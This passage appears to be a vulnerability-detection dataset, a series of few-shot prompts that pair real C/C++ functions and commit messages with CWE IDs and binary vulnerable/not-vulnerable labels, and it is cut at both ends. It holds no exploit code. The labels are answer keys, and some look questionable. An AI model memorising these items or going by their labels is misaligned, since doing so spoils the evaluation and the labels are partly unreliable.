in netlink_sendmsg(). This approach is aggressive since existing
applications using any Netlink bus to deliver messages between
two user-space processes will break. Note that the exception is
NETLINK_USERSOCK, since it is reserved for netlink-to-netlink
userspace communication.
Still, if anyone wants that his Netlink bus allows netlink-to-netlink
userspace, then they can set NL_NONROOT_SEND. However, by default,
I don't think it makes sense to allow to use NETLINK_ROUTE to
communicate two processes that are sending no matter what information
that is not related to link/neighbouring/routing. They should be using
NETLINK_USERSOCK instead for that.
Signed-off-by: Pablo Neira Ayuso <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
CWE ID: CWE-284
Target: 1
Example 2:
Code: error::Error GLES2DecoderPassthroughImpl::DoUniformMatrix3x2fv(
GLint location,
GLsizei count,
GLboolean transpose,
const volatile GLfloat* value) {
api()->glUniformMatrix3x2fvFn(location, count, transpose,
const_cast<const GLfloat*>(value));
return error::kNoError;
}
Commit Message: Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM
This makes the query of GL_COMPLETION_STATUS_KHR to programs much
cheaper by minimizing the round-trip to the GPU thread.
Bug: 881152, 957001
Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630
Commit-Queue: Kenneth Russell <[email protected]>
Reviewed-by: Kentaro Hara <[email protected]>
Reviewed-by: Geoff Lang <[email protected]>
Reviewed-by: Kenneth Russell <[email protected]>
Cr-Commit-Position: refs/heads/master@{#657568}
CWE ID: CWE-416
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void GDataCache::GetResourceIdsOfBacklogOnUIThread(
const GetResourceIdsOfBacklogCallback& callback) {
DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));
std::vector<std::string>* to_fetch = new std::vector<std::string>;
std::vector<std::string>* to_upload = new std::vector<std::string>;
pool_->GetSequencedTaskRunner(sequence_token_)->PostTaskAndReply(
FROM_HERE,
base::Bind(&GDataCache::GetResourceIdsOfBacklog,
base::Unretained(this),
to_fetch,
to_upload),
base::Bind(&RunGetResourceIdsOfBacklogCallback,
callback,
base::Owned(to_fetch),
base::Owned(to_upload)));
}
Commit Message: Revert 144993 - gdata: Remove invalid files in the cache directories
Broke linux_chromeos_valgrind:
http://build.chromium.org/p/chromium.memory.fyi/builders/Chromium%20OS%20%28valgrind%29%285%29/builds/8628/steps/memory%20test%3A%20unit/logs/stdio
In theory, we shouldn't have any invalid files left in the
cache directories, but things can go wrong and invalid files
may be left if the device shuts down unexpectedly, for instance.
Besides, it's good to be defensive.
BUG=134862
TEST=added unit tests
Review URL: https://chromiumcodereview.appspot.com/10693020
[email protected]
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@145029 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static Image *ReadWMFImage(const ImageInfo *image_info,ExceptionInfo *exception)
{
double
bounding_height,
bounding_width,
image_height,
image_height_inch,
image_width,
image_width_inch,
resolution_y,
resolution_x,
units_per_inch;
float
wmf_width,
wmf_height;
Image
*image;
unsigned long
wmf_options_flags = 0;
wmf_error_t
wmf_error;
wmf_magick_t
*ddata = 0;
wmfAPI
*API = 0;
wmfAPI_Options
wmf_api_options;
wmfD_Rect
bbox;
image=AcquireImage(image_info);
if (OpenBlob(image_info,image,ReadBinaryBlobMode,exception) == MagickFalse)
{
if (image->debug != MagickFalse)
{
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" OpenBlob failed");
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
"leave ReadWMFImage()");
}
image=DestroyImageList(image);
return((Image *) NULL);
}
/*
* Create WMF API
*
*/
/* Register callbacks */
wmf_options_flags |= WMF_OPT_FUNCTION;
(void) ResetMagickMemory(&wmf_api_options, 0, sizeof(wmf_api_options));
wmf_api_options.function = ipa_functions;
/* Ignore non-fatal errors */
wmf_options_flags |= WMF_OPT_IGNORE_NONFATAL;
wmf_error = wmf_api_create(&API, wmf_options_flags, &wmf_api_options);
if (wmf_error != wmf_E_None)
{
if (API)
wmf_api_destroy(API);
if (image->debug != MagickFalse)
{
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" wmf_api_create failed");
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
"leave ReadWMFImage()");
}
ThrowReaderException(DelegateError,"UnableToInitializeWMFLibrary");
}
/* Register progress monitor */
wmf_status_function(API,image,magick_progress_callback);
ddata=WMF_MAGICK_GetData(API);
ddata->image=image;
ddata->image_info=image_info;
ddata->draw_info=CloneDrawInfo(image_info,(const DrawInfo *) NULL);
ddata->draw_info->font=(char *)
RelinquishMagickMemory(ddata->draw_info->font);
ddata->draw_info->text=(char *)
RelinquishMagickMemory(ddata->draw_info->text);
#if defined(MAGICKCORE_WMFLITE_DELEGATE)
/* Must initialize font subystem for WMFlite interface */
lite_font_init (API,&wmf_api_options); /* similar to wmf_ipa_font_init in src/font.c */
/* wmf_arg_fontdirs (API,options); */ /* similar to wmf_arg_fontdirs in src/wmf.c */
#endif
/*
* Open BLOB input via libwmf API
*
*/
wmf_error = wmf_bbuf_input(API,ipa_blob_read,ipa_blob_seek,
ipa_blob_tell,(void*)image);
if (wmf_error != wmf_E_None)
{
wmf_api_destroy(API);
if (image->debug != MagickFalse)
{
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" wmf_bbuf_input failed");
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
"leave ReadWMFImage()");
}
ThrowFileException(exception,FileOpenError,"UnableToOpenFile",
image->filename);
image=DestroyImageList(image);
return((Image *) NULL);
}
/*
* Scan WMF file
*
*/
if (image->debug != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" Scanning WMF to obtain bounding box");
wmf_error=wmf_scan(API, 0, &bbox);
if (wmf_error != wmf_E_None)
{
wmf_api_destroy(API);
if (image->debug != MagickFalse)
{
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" wmf_scan failed with wmf_error %d", wmf_error);
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
"leave ReadWMFImage()");
}
ThrowReaderException(DelegateError,"FailedToScanFile");
}
/*
* Compute dimensions and scale factors
*
*/
ddata->bbox=bbox;
/* User specified resolution */
resolution_y=DefaultResolution;
if (image->y_resolution != 0.0)
{
resolution_y = image->y_resolution;
if (image->units == PixelsPerCentimeterResolution)
resolution_y *= CENTIMETERS_PER_INCH;
}
resolution_x=DefaultResolution;
if (image->x_resolution != 0.0)
{
resolution_x = image->x_resolution;
if (image->units == PixelsPerCentimeterResolution)
resolution_x *= CENTIMETERS_PER_INCH;
}
/* Obtain output size expressed in metafile units */
wmf_error=wmf_size(API,&wmf_width,&wmf_height);
if (wmf_error != wmf_E_None)
{
wmf_api_destroy(API);
if (image->debug != MagickFalse)
{
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" wmf_size failed with wmf_error %d", wmf_error);
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
"leave ReadWMFImage()");
}
ThrowReaderException(DelegateError,"FailedToComputeOutputSize");
}
/* Obtain (or guess) metafile units */
if ((API)->File->placeable)
units_per_inch=(API)->File->pmh->Inch;
else if ( (wmf_width*wmf_height) < 1024*1024)
units_per_inch=POINTS_PER_INCH; /* MM_TEXT */
else
units_per_inch=TWIPS_PER_INCH; /* MM_TWIPS */
/* Calculate image width and height based on specified DPI
resolution */
image_width_inch = (double) wmf_width / units_per_inch;
image_height_inch = (double) wmf_height / units_per_inch;
image_width = image_width_inch * resolution_x;
image_height = image_height_inch * resolution_y;
/* Compute bounding box scale factors and origin translations
*
* This all just a hack since libwmf does not currently seem to
* provide the mapping between LOGICAL coordinates and DEVICE
* coordinates. This mapping is necessary in order to know
* where to place the logical bounding box within the image.
*
*/
bounding_width = bbox.BR.x - bbox.TL.x;
bounding_height = bbox.BR.y - bbox.TL.y;
ddata->scale_x = image_width/bounding_width;
ddata->translate_x = 0-bbox.TL.x;
ddata->rotate = 0;
/* Heuristic: guess that if the vertical coordinates mostly span
negative values, then the image must be inverted. */
if ( fabs(bbox.BR.y) > fabs(bbox.TL.y) )
{
/* Normal (Origin at top left of image) */
ddata->scale_y = (image_height/bounding_height);
ddata->translate_y = 0-bbox.TL.y;
}
else
{
/* Inverted (Origin at bottom left of image) */
ddata->scale_y = (-image_height/bounding_height);
ddata->translate_y = 0-bbox.BR.y;
}
if (image->debug != MagickFalse)
{
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" Placeable metafile: %s",
(API)->File->placeable ? "Yes" : "No");
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" Size in metafile units: %gx%g",wmf_width,wmf_height);
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" Metafile units/inch: %g",units_per_inch);
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" Size in inches: %gx%g",
image_width_inch,image_height_inch);
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" Bounding Box: %g,%g %g,%g",
bbox.TL.x, bbox.TL.y, bbox.BR.x, bbox.BR.y);
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" Bounding width x height: %gx%g",bounding_width,
bounding_height);
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" Output resolution: %gx%g",resolution_x,resolution_y);
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" Image size: %gx%g",image_width,image_height);
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" Bounding box scale factor: %g,%g",ddata->scale_x,
ddata->scale_y);
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" Translation: %g,%g",
ddata->translate_x, ddata->translate_y);
}
#if 0
#if 0
{
typedef struct _wmfPlayer_t wmfPlayer_t;
struct _wmfPlayer_t
{
wmfPen default_pen;
wmfBrush default_brush;
wmfFont default_font;
wmfDC* dc; /* current dc */
};
wmfDC
*dc;
#define WMF_ELICIT_DC(API) (((wmfPlayer_t*)((API)->player_data))->dc)
dc = WMF_ELICIT_DC(API);
printf("dc->Window.Ox = %d\n", dc->Window.Ox);
printf("dc->Window.Oy = %d\n", dc->Window.Oy);
printf("dc->Window.width = %d\n", dc->Window.width);
printf("dc->Window.height = %d\n", dc->Window.height);
printf("dc->pixel_width = %g\n", dc->pixel_width);
printf("dc->pixel_height = %g\n", dc->pixel_height);
#if defined(MAGICKCORE_WMFLITE_DELEGATE) /* Only in libwmf 0.3 */
printf("dc->Ox = %.d\n", dc->Ox);
printf("dc->Oy = %.d\n", dc->Oy);
printf("dc->width = %.d\n", dc->width);
printf("dc->height = %.d\n", dc->height);
#endif
}
#endif
#endif
/*
* Create canvas image
*
*/
image->rows=(unsigned long) ceil(image_height);
image->columns=(unsigned long) ceil(image_width);
if (image_info->ping != MagickFalse)
{
wmf_api_destroy(API);
(void) CloseBlob(image);
if (image->debug != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
"leave ReadWMFImage()");
return(GetFirstImageInList(image));
}
if (image->debug != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" Creating canvas image with size %lux%lu",(unsigned long) image->rows,
(unsigned long) image->columns);
/*
* Set solid background color
*/
{
image->background_color = image_info->background_color;
if (image->background_color.opacity != OpaqueOpacity)
image->matte = MagickTrue;
(void) SetImageBackgroundColor(image);
}
/*
* Play file to generate Vector drawing commands
*
*/
if (image->debug != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" Playing WMF to prepare vectors");
wmf_error = wmf_play(API, 0, &bbox);
if (wmf_error != wmf_E_None)
{
wmf_api_destroy(API);
if (image->debug != MagickFalse)
{
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" Playing WMF failed with wmf_error %d", wmf_error);
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
"leave ReadWMFImage()");
}
ThrowReaderException(DelegateError,"FailedToRenderFile");
}
/*
* Scribble on canvas image
*
*/
if (image->debug != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" Rendering WMF vectors");
DrawRender(ddata->draw_wand);
if (image->debug != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),"leave ReadWMFImage()");
/* Cleanup allocated data */
wmf_api_destroy(API);
(void) CloseBlob(image);
/* Return image */
return image;
}
Commit Message:
CWE ID: CWE-119
Target: 1
Example 2:
Code: int nbd_client(int fd)
{
int ret;
int serrno;
TRACE("Doing NBD loop");
ret = ioctl(fd, NBD_DO_IT);
if (ret < 0 && errno == EPIPE) {
/* NBD_DO_IT normally returns EPIPE when someone has disconnected
* the socket via NBD_DISCONNECT. We do not want to return 1 in
* that case.
*/
ret = 0;
}
serrno = errno;
TRACE("NBD loop returned %d: %s", ret, strerror(serrno));
TRACE("Clearing NBD queue");
ioctl(fd, NBD_CLEAR_QUE);
TRACE("Clearing NBD socket");
ioctl(fd, NBD_CLEAR_SOCK);
errno = serrno;
return ret;
}
Commit Message:
CWE ID: CWE-20
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: int ComputeConsumedBytes(int initial_bytes_enqueued,
int initial_bytes_buffered) {
int byte_delta = bytes_enqueued_ - initial_bytes_enqueued;
int buffered_delta = algorithm_.bytes_buffered() - initial_bytes_buffered;
int consumed = byte_delta - buffered_delta;
CHECK_GE(consumed, 0);
return consumed;
}
Commit Message: Protect AudioRendererAlgorithm from invalid step sizes.
BUG=165430
TEST=unittests and asan pass.
Review URL: https://codereview.chromium.org/11573023
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@173249 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: AccessibilityButtonState AXObject::checkboxOrRadioValue() const {
const AtomicString& checkedAttribute =
getAOMPropertyOrARIAAttribute(AOMStringProperty::kChecked);
if (equalIgnoringCase(checkedAttribute, "true"))
return ButtonStateOn;
if (equalIgnoringCase(checkedAttribute, "mixed")) {
AccessibilityRole role = ariaRoleAttribute();
if (role == CheckBoxRole || role == MenuItemCheckBoxRole)
return ButtonStateMixed;
}
return ButtonStateOff;
}
Commit Message: Switch to equalIgnoringASCIICase throughout modules/accessibility
BUG=627682
Review-Url: https://codereview.chromium.org/2793913007
Cr-Commit-Position: refs/heads/master@{#461858}
CWE ID: CWE-254
Target: 1
Example 2:
Code: fbFetchPixel_b8g8r8 (const FbBits *bits, int offset, miIndexedPtr indexed)
{
CARD8 *pixel = ((CARD8 *) bits) + (offset*3);
#if IMAGE_BYTE_ORDER == MSBFirst
return (0xff000000 |
(READ(pixel + 2) << 16) |
(READ(pixel + 1) << 8) |
(READ(pixel + 0)));
#else
return (0xff000000 |
(READ(pixel + 0) << 16) |
(READ(pixel + 1) << 8) |
(READ(pixel + 2)));
#endif
}
Commit Message:
CWE ID: CWE-189
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: coolkey_get_attribute_data(const u8 *attr, u8 object_record_type, size_t buf_len, sc_cardctl_coolkey_attribute_t *attr_out)
{
/* handle the V0 objects first */
if (object_record_type == COOLKEY_V0_OBJECT) {
return coolkey_v0_get_attribute_data(attr, buf_len, attr_out);
}
/* don't crash if we encounter some new or corrupted coolkey device */
if (object_record_type != COOLKEY_V1_OBJECT) {
return SC_ERROR_NO_CARD_SUPPORT;
}
return coolkey_v1_get_attribute_data(attr, buf_len, attr_out);
}
Commit Message: fixed out of bounds reads
Thanks to Eric Sesterhenn from X41 D-SEC GmbH
for reporting and suggesting security fixes.
CWE ID: CWE-125
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: void SpdyWriteQueue::Clear() {
CHECK(!removing_writes_);
removing_writes_ = true;
for (int i = MINIMUM_PRIORITY; i <= MAXIMUM_PRIORITY; ++i) {
for (std::deque<PendingWrite>::iterator it = queue_[i].begin();
it != queue_[i].end(); ++it) {
delete it->frame_producer;
}
queue_[i].clear();
}
removing_writes_ = false;
}
Commit Message: These can post callbacks which re-enter into SpdyWriteQueue.
BUG=369539
Review URL: https://codereview.chromium.org/265933007
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@268730 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
Target: 1
Example 2:
Code: iakerb_gss_process_context_token(OM_uint32 *minor_status,
const gss_ctx_id_t context_handle,
const gss_buffer_t token_buffer)
{
iakerb_ctx_id_t ctx = (iakerb_ctx_id_t)context_handle;
if (ctx->gssc == GSS_C_NO_CONTEXT)
return GSS_S_DEFECTIVE_TOKEN;
return krb5_gss_process_context_token(minor_status, ctx->gssc,
token_buffer);
}
Commit Message: Fix IAKERB context export/import [CVE-2015-2698]
The patches for CVE-2015-2696 contained a regression in the newly
added IAKERB iakerb_gss_export_sec_context() function, which could
cause it to corrupt memory. Fix the regression by properly
dereferencing the context_handle pointer before casting it.
Also, the patches did not implement an IAKERB gss_import_sec_context()
function, under the erroneous belief that an exported IAKERB context
would be tagged as a krb5 context. Implement it now to allow IAKERB
contexts to be successfully exported and imported after establishment.
CVE-2015-2698:
In any MIT krb5 release with the patches for CVE-2015-2696 applied, an
application which calls gss_export_sec_context() may experience memory
corruption if the context was established using the IAKERB mechanism.
Historically, some vulnerabilities of this nature can be translated
into remote code execution, though the necessary exploits must be
tailored to the individual application and are usually quite
complicated.
CVSSv2 Vector: AV:N/AC:H/Au:S/C:C/I:C/A:C/E:POC/RL:OF/RC:C
ticket: 8273 (new)
target_version: 1.14
tags: pullup
CWE ID: CWE-119
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: ice_io_error_handler (IceConn conn)
{
g_debug ("GsmXsmpServer: ice_io_error_handler (%p)", conn);
/* We don't need to do anything here; the next call to
* IceProcessMessages() for this connection will receive
* IceProcessMessagesIOError and we can handle the error there.
*/
}
Commit Message: [gsm] Delay the creation of the GsmXSMPClient until it really exists
We used to create the GsmXSMPClient before the XSMP connection is really
accepted. This can lead to some issues, though. An example is:
https://bugzilla.gnome.org/show_bug.cgi?id=598211#c19. Quoting:
"What is happening is that a new client (probably metacity in your
case) is opening an ICE connection in the GSM_MANAGER_PHASE_END_SESSION
phase, which causes a new GsmXSMPClient to be added to the client
store. The GSM_MANAGER_PHASE_EXIT phase then begins before the client
has had a chance to establish a xsmp connection, which means that
client->priv->conn will not be initialized at the point that xsmp_stop
is called on the new unregistered client."
The fix is to create the GsmXSMPClient object when there's a real XSMP
connection. This implies moving the timeout that makes sure we don't
have an empty client to the XSMP server.
https://bugzilla.gnome.org/show_bug.cgi?id=598211
CWE ID: CWE-835
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: int vfs_open(const struct path *path, struct file *file,
const struct cred *cred)
{
struct dentry *dentry = path->dentry;
struct inode *inode = dentry->d_inode;
file->f_path = *path;
if (dentry->d_flags & DCACHE_OP_SELECT_INODE) {
inode = dentry->d_op->d_select_inode(dentry, file->f_flags);
if (IS_ERR(inode))
return PTR_ERR(inode);
}
return do_dentry_open(file, inode, NULL, cred);
}
Commit Message: vfs: add vfs_select_inode() helper
Signed-off-by: Miklos Szeredi <[email protected]>
Cc: <[email protected]> # v4.2+
CWE ID: CWE-284
Target: 1
Example 2:
Code: static void set_datagram_seg(struct mlx5_wqe_datagram_seg *dseg,
const struct ib_send_wr *wr)
{
memcpy(&dseg->av, &to_mah(ud_wr(wr)->ah)->av, sizeof(struct mlx5_av));
dseg->av.dqp_dct = cpu_to_be32(ud_wr(wr)->remote_qpn | MLX5_EXTENDED_UD_AV);
dseg->av.key.qkey.qkey = cpu_to_be32(ud_wr(wr)->remote_qkey);
}
Commit Message: IB/mlx5: Fix leaking stack memory to userspace
mlx5_ib_create_qp_resp was never initialized and only the first 4 bytes
were written.
Fixes: 41d902cb7c32 ("RDMA/mlx5: Fix definition of mlx5_ib_create_qp_resp")
Cc: <[email protected]>
Acked-by: Leon Romanovsky <[email protected]>
Signed-off-by: Jason Gunthorpe <[email protected]>
CWE ID: CWE-119
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: inline void Splash::pipeInit(SplashPipe *pipe, int x, int y,
SplashPattern *pattern, SplashColorPtr cSrc,
SplashCoord aInput, GBool usesShape,
GBool nonIsolatedGroup) {
pipeSetXY(pipe, x, y);
pipe->pattern = NULL;
if (pattern) {
if (pattern->isStatic()) {
pattern->getColor(x, y, pipe->cSrcVal);
} else {
pipe->pattern = pattern;
}
pipe->cSrc = pipe->cSrcVal;
} else {
pipe->cSrc = cSrc;
}
pipe->aInput = aInput;
if (!state->softMask) {
if (usesShape) {
pipe->aInput *= 255;
} else {
pipe->aSrc = (Guchar)splashRound(pipe->aInput * 255);
}
}
pipe->usesShape = usesShape;
if (aInput == 1 && !state->softMask && !usesShape &&
!state->inNonIsolatedGroup) {
pipe->noTransparency = gTrue;
} else {
pipe->noTransparency = gFalse;
}
if (pipe->noTransparency) {
pipe->resultColorCtrl = pipeResultColorNoAlphaBlend[bitmap->mode];
} else if (!state->blendFunc) {
pipe->resultColorCtrl = pipeResultColorAlphaNoBlend[bitmap->mode];
} else {
pipe->resultColorCtrl = pipeResultColorAlphaBlend[bitmap->mode];
}
if (nonIsolatedGroup) {
pipe->nonIsolatedGroup = splashColorModeNComps[bitmap->mode];
} else {
pipe->nonIsolatedGroup = 0;
}
}
Commit Message:
CWE ID: CWE-189
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: ScriptPromise Bluetooth::requestLEScan(ScriptState* script_state,
const BluetoothLEScanOptions* options,
ExceptionState& exception_state) {
ExecutionContext* context = ExecutionContext::From(script_state);
DCHECK(context);
context->AddConsoleMessage(ConsoleMessage::Create(
mojom::ConsoleMessageSource::kJavaScript,
mojom::ConsoleMessageLevel::kInfo,
"Web Bluetooth Scanning is experimental on this platform. See "
"https://github.com/WebBluetoothCG/web-bluetooth/blob/gh-pages/"
"implementation-status.md"));
CHECK(context->IsSecureContext());
auto& doc = *To<Document>(context);
auto* frame = doc.GetFrame();
if (!frame) {
return ScriptPromise::Reject(
script_state, V8ThrowException::CreateTypeError(
script_state->GetIsolate(), "Document not active"));
}
if (!LocalFrame::HasTransientUserActivation(frame)) {
return ScriptPromise::RejectWithDOMException(
script_state,
MakeGarbageCollected<DOMException>(
DOMExceptionCode::kSecurityError,
"Must be handling a user gesture to show a permission request."));
}
if (!service_) {
frame->GetInterfaceProvider().GetInterface(mojo::MakeRequest(
&service_, context->GetTaskRunner(TaskType::kMiscPlatformAPI)));
}
auto scan_options = mojom::blink::WebBluetoothRequestLEScanOptions::New();
ConvertRequestLEScanOptions(options, scan_options, exception_state);
if (exception_state.HadException())
return ScriptPromise();
Platform::Current()->RecordRapporURL("Bluetooth.APIUsage.Origin", doc.Url());
auto* resolver = MakeGarbageCollected<ScriptPromiseResolver>(script_state);
ScriptPromise promise = resolver->Promise();
mojom::blink::WebBluetoothScanClientAssociatedPtrInfo client;
mojo::BindingId id = client_bindings_.AddBinding(
this, mojo::MakeRequest(&client),
context->GetTaskRunner(TaskType::kMiscPlatformAPI));
service_->RequestScanningStart(
std::move(client), std::move(scan_options),
WTF::Bind(&Bluetooth::RequestScanningCallback, WrapPersistent(this),
WrapPersistent(resolver), id));
return promise;
}
Commit Message: bluetooth: Implement getAvailability()
This change implements the getAvailability() method for
navigator.bluetooth as defined in the specification.
Bug: 707640
Change-Id: I9e9b3e7f8ea7f259e975f71cb6d9570e5f04b479
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1651516
Reviewed-by: Chris Harrelson <[email protected]>
Reviewed-by: Giovanni Ortuño Urquidi <[email protected]>
Reviewed-by: Kinuko Yasuda <[email protected]>
Commit-Queue: Ovidio de Jesús Ruiz-Henríquez <[email protected]>
Auto-Submit: Ovidio de Jesús Ruiz-Henríquez <[email protected]>
Cr-Commit-Position: refs/heads/master@{#688987}
CWE ID: CWE-119
Target: 1
Example 2:
Code: AuthenticatorClientPinEntrySheetModel::GetStepIllustration(
ImageColorScheme color_scheme) const {
return color_scheme == ImageColorScheme::kDark ? kWebauthnUsbDarkIcon
: kWebauthnUsbIcon;
}
Commit Message: chrome/browser/ui/webauthn: long domains may cause a line break.
As requested by UX in [1], allow long host names to split a title into
two lines. This allows us to show more of the name before eliding,
although sufficiently long names will still trigger elision.
Screenshot at
https://drive.google.com/open?id=1_V6t2CeZDAVazy3Px-OET2LnB__aEW1r.
[1] https://docs.google.com/presentation/d/1TtxkPUchyVZulqgdMcfui-68B0W-DWaFFVJEffGIbLA/edit#slide=id.g5913c4105f_1_12
Change-Id: I70f6541e0db3e9942239304de43b487a7561ca34
Bug: 870892
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1601812
Auto-Submit: Adam Langley <[email protected]>
Commit-Queue: Nina Satragno <[email protected]>
Reviewed-by: Nina Satragno <[email protected]>
Cr-Commit-Position: refs/heads/master@{#658114}
CWE ID: CWE-119
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void DevToolsSession::AddHandler(
std::unique_ptr<protocol::DevToolsDomainHandler> handler) {
handler->Wire(dispatcher_.get());
handler->SetRenderer(process_, host_);
handlers_[handler->name()] = std::move(handler);
}
Commit Message: DevTools: speculative fix for crash in NetworkHandler::Disable
This keeps BrowserContext* and StoragePartition* instead of
RenderProcessHost* in an attemp to resolve UAF of RenderProcessHost
upon closure of DevTools front-end.
Bug: 801117, 783067, 780694
Change-Id: I6c2cca60cc0c29f0949d189cf918769059f80c1b
Reviewed-on: https://chromium-review.googlesource.com/876657
Commit-Queue: Andrey Kosyakov <[email protected]>
Reviewed-by: Dmitry Gozman <[email protected]>
Cr-Commit-Position: refs/heads/master@{#531157}
CWE ID: CWE-20
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: P2PQuicTransportImpl::P2PQuicTransportImpl(
P2PQuicTransportConfig p2p_transport_config,
std::unique_ptr<net::QuicChromiumConnectionHelper> helper,
std::unique_ptr<quic::QuicConnection> connection,
const quic::QuicConfig& quic_config,
quic::QuicClock* clock)
: quic::QuicSession(connection.get(),
nullptr /* visitor */,
quic_config,
quic::CurrentSupportedVersions()),
helper_(std::move(helper)),
connection_(std::move(connection)),
perspective_(p2p_transport_config.is_server
? quic::Perspective::IS_SERVER
: quic::Perspective::IS_CLIENT),
packet_transport_(p2p_transport_config.packet_transport),
delegate_(p2p_transport_config.delegate),
clock_(clock) {
DCHECK_CALLED_ON_VALID_THREAD(thread_checker_);
DCHECK(delegate_);
DCHECK(clock_);
DCHECK(packet_transport_);
DCHECK_GT(p2p_transport_config.certificates.size(), 0u);
if (p2p_transport_config.can_respond_to_crypto_handshake) {
InitializeCryptoStream();
}
certificate_ = p2p_transport_config.certificates[0];
packet_transport_->SetReceiveDelegate(this);
}
Commit Message: P2PQuicStream write functionality.
This adds the P2PQuicStream::WriteData function and adds tests. It also
adds the concept of a write buffered amount, enforcing this at the
P2PQuicStreamImpl.
Bug: 874296
Change-Id: Id02c8aa8d5368a87bb24a2e50dab5ef94bcae131
Reviewed-on: https://chromium-review.googlesource.com/c/1315534
Commit-Queue: Seth Hampson <[email protected]>
Reviewed-by: Henrik Boström <[email protected]>
Cr-Commit-Position: refs/heads/master@{#605766}
CWE ID: CWE-284
Target: 1
Example 2:
Code: static long usbdev_compat_ioctl(struct file *file, unsigned int cmd,
unsigned long arg)
{
int ret;
ret = usbdev_do_ioctl(file, cmd, compat_ptr(arg));
return ret;
}
Commit Message: USB: usbfs: fix potential infoleak in devio
The stack object “ci” has a total size of 8 bytes. Its last 3 bytes
are padding bytes which are not initialized and leaked to userland
via “copy_to_user”.
Signed-off-by: Kangjie Lu <[email protected]>
Signed-off-by: Greg Kroah-Hartman <[email protected]>
CWE ID: CWE-200
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: unsigned char *ssl_add_clienthello_tlsext(SSL *s, unsigned char *buf, unsigned char *limit)
{
int extdatalen=0;
unsigned char *orig = buf;
unsigned char *ret = buf;
/* don't add extensions for SSLv3 unless doing secure renegotiation */
if (s->client_version == SSL3_VERSION
&& !s->s3->send_connection_binding)
return orig;
ret+=2;
if (ret>=limit) return NULL; /* this really never occurs, but ... */
if (s->tlsext_hostname != NULL)
{
/* Add TLS extension servername to the Client Hello message */
unsigned long size_str;
long lenmax;
/* check for enough space.
4 for the servername type and entension length
2 for servernamelist length
1 for the hostname type
2 for hostname length
+ hostname length
*/
if ((lenmax = limit - ret - 9) < 0
